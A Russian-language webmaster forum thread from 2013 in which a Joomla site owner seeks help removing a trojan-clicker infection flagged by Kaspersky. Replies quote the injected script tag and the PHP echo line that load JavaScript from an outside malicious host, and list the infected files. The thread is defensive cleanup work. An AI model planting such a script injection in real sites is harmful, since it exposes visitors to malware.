X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость ( Вход | Регистрация )

2 страниц V   1 2 >
Открыть тему
Тема закрыта
> На сайте Trojan-Clicker.HTML.Agent.bt. Как побороть?
Telnor
Telnor
Topic Starter сообщение 29.1.2013, 23:12; Ответить: Telnor
Сообщение #1


Топовый постер
*******


Группа: Active User
Сообщений: 5748
Регистрация: 22.7.2010
Из: CCCР
Поблагодарили: 1039 раз
Репутация:   377  


При заходе на http://sphinxdahab.com/ каспер блокирует сайт:

Двиг Joomla.
Скачал полностью весь сайт вместе с БД на комп, проверил Каспером, он ничего не нашел.
Где искать заразу и как с ней бороться? Спасибо!

Сообщение отредактировал Telnor - 29.1.2013, 23:14


--------------------
Надежный недорогой хостинг ∞ сайтов, 32Гб места! От 60 руб в месяц, 1 месяц бесплатно!
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
dota
dota
сообщение 29.1.2013, 23:17; Ответить: dota
Сообщение #2


Топовый постер
*******


Группа: Active User
Сообщений: 4529
Регистрация: 1.10.2010
Из: СССР
Поблагодарили: 2575 раз
Репутация:   576  


Telnor, Айболитом проверьте.
Вылечить все.
И дальше мой друг писал непосредственно в ТП каспера, они разблокировали.


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
serg5777
serg5777
сообщение 29.1.2013, 23:22; Ответить: serg5777
Сообщение #3


Стоп NATO
*******


Группа: Active User
Сообщений: 4321
Регистрация: 5.4.2009
Из: Ростов-на-Дону
Поблагодарили: 1333 раза
Репутация:   193  




Посмотрите по дате измененения файлов, там и наткнетесь на заразу smile.gif

Сообщение отредактировал serg5777 - 29.1.2013, 23:23


Поблагодарили: (2)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Belos
Belos
сообщение 29.1.2013, 23:23; Ответить: Belos
Сообщение #4


Старожил
******

Группа: Active User
Сообщений: 2468
Регистрация: 11.11.2008
Из: Украина
Поблагодарили: 695 раз
Репутация:   96  


Да, есть у вас на нем нечисть.

Проверяем


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
dota
dota
сообщение 29.1.2013, 23:27; Ответить: dota
Сообщение #5


Топовый постер
*******


Группа: Active User
Сообщений: 4529
Регистрация: 1.10.2010
Из: СССР
Поблагодарили: 2575 раз
Репутация:   576  


(Belos @ 29.1.2013, 22:23) *
Посмотрите по дате измененения файлов, там и наткнетесь на заразу

Во во, именно. Так же когда то избавлялся.

А главное от этой фигни траф проседает.


--------------------


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Serenita
Serenita
сообщение 29.1.2013, 23:32; Ответить: Serenita
Сообщение #6


Старожил
******


Группа: Active User
Сообщений: 1658
Регистрация: 20.7.2010
Из: Киев
Поблагодарили: 1822 раза
Репутация:   230  


Я обычно вот этим проверяю...

Вот он у вас понаходил, первый и последний явно лишние...

/templates/wedding_v1/script.js
/modules/mod_virtuemart/JSCookTree.js
/modules/mod_virtuemart/ThemeXP/theme.js
kinoshkaxa.changeip.name/rsize.js


Сообщение отредактировал Serenita - 29.1.2013, 23:33


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Belos
Belos
сообщение 29.1.2013, 23:36; Ответить: Belos
Сообщение #7


Старожил
******

Группа: Active User
Сообщений: 2468
Регистрация: 11.11.2008
Из: Украина
Поблагодарили: 695 раз
Репутация:   96  


Нод антивирус тоже ругается

Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Rampage
Rampage
сообщение 29.1.2013, 23:39; Ответить: Rampage
Сообщение #8


Участник
***

Группа: User
Сообщений: 240
Регистрация: 20.11.2010
Из: localhost
Поблагодарили: 68 раз
Репутация:   24  


в самом конце после </html>
<script src="http://kinoshkaxa.changeip.name/rsize.js"></script>

Ваше? если нет ищите в файлах которые инклудятся к главной странице и шаблонах


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Melbrun
Melbrun
сообщение 30.1.2013, 9:37; Ответить: Melbrun
Сообщение #9


Участник
***

Группа: User
Сообщений: 124
Регистрация: 15.1.2013
Поблагодарили: 20 раз
Репутация:   13  


Telnor,

Как успехи? СМогли вылечить?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Telnor
Telnor
Topic Starter сообщение 30.1.2013, 10:38; Ответить: Telnor
Сообщение #10


Топовый постер
*******


Группа: Active User
Сообщений: 5748
Регистрация: 22.7.2010
Из: CCCР
Поблагодарили: 1039 раз
Репутация:   377  


(Serenita @ 29.1.2013, 22:32) *
первый и последний явно лишние...

В каких файлах их искать, я дилетант в джумле...?

Melbrun, в процессе.

в index.php нашел и удалил:
echo '<script src="http://kinoshkaxa.changeip.name/rsize.js"></script>';
sphinxdahab.com/public_html/modules/mod_virtuemart/ThemeXP был зараженный файл theme.js и его удалил.
Каспер открывает сайт, но проблема еще осталась:
http://sitecheck.sucuri.net/scanner/?scan=sphinxdahab.com
Где его искать?


--------------------
Надежный недорогой хостинг ∞ сайтов, 32Гб места! От 60 руб в месяц, 1 месяц бесплатно!
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
2 страниц V   1 2 >
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Маленький кейс как сделать много почтовых ящиков в Gmail
Один аккаунт = много ящиков
11 PostBrigada 713 Сегодня, 2:50
автор: kstnews
Открытая тема (нет новых ответов) Как мошенники зарабатывают на прямых трансляциях в Instagram
Не ждите порно в инстаграм, его нет
12 PostBrigada 1350 16.12.2017, 23:00
автор: PostBrigada
Открытая тема (нет новых ответов) Как сейчас зарегистрировать Яндекс кошелек за пределами России?
4 metvekot 396 16.12.2017, 19:04
автор: metvekot
Открытая тема (нет новых ответов) Как поднять доверие к сайту?
5 fair_exchange 402 16.12.2017, 18:33
автор: genjnat
Открытая тема (нет новых ответов) SimplePay: Прием платежей на сайте для юридических и физических лиц
4 kuprum 536 15.12.2017, 14:07
автор: kuprum


 



RSS Текстовая версия Сейчас: 18.12.2017, 3:40
Дизайн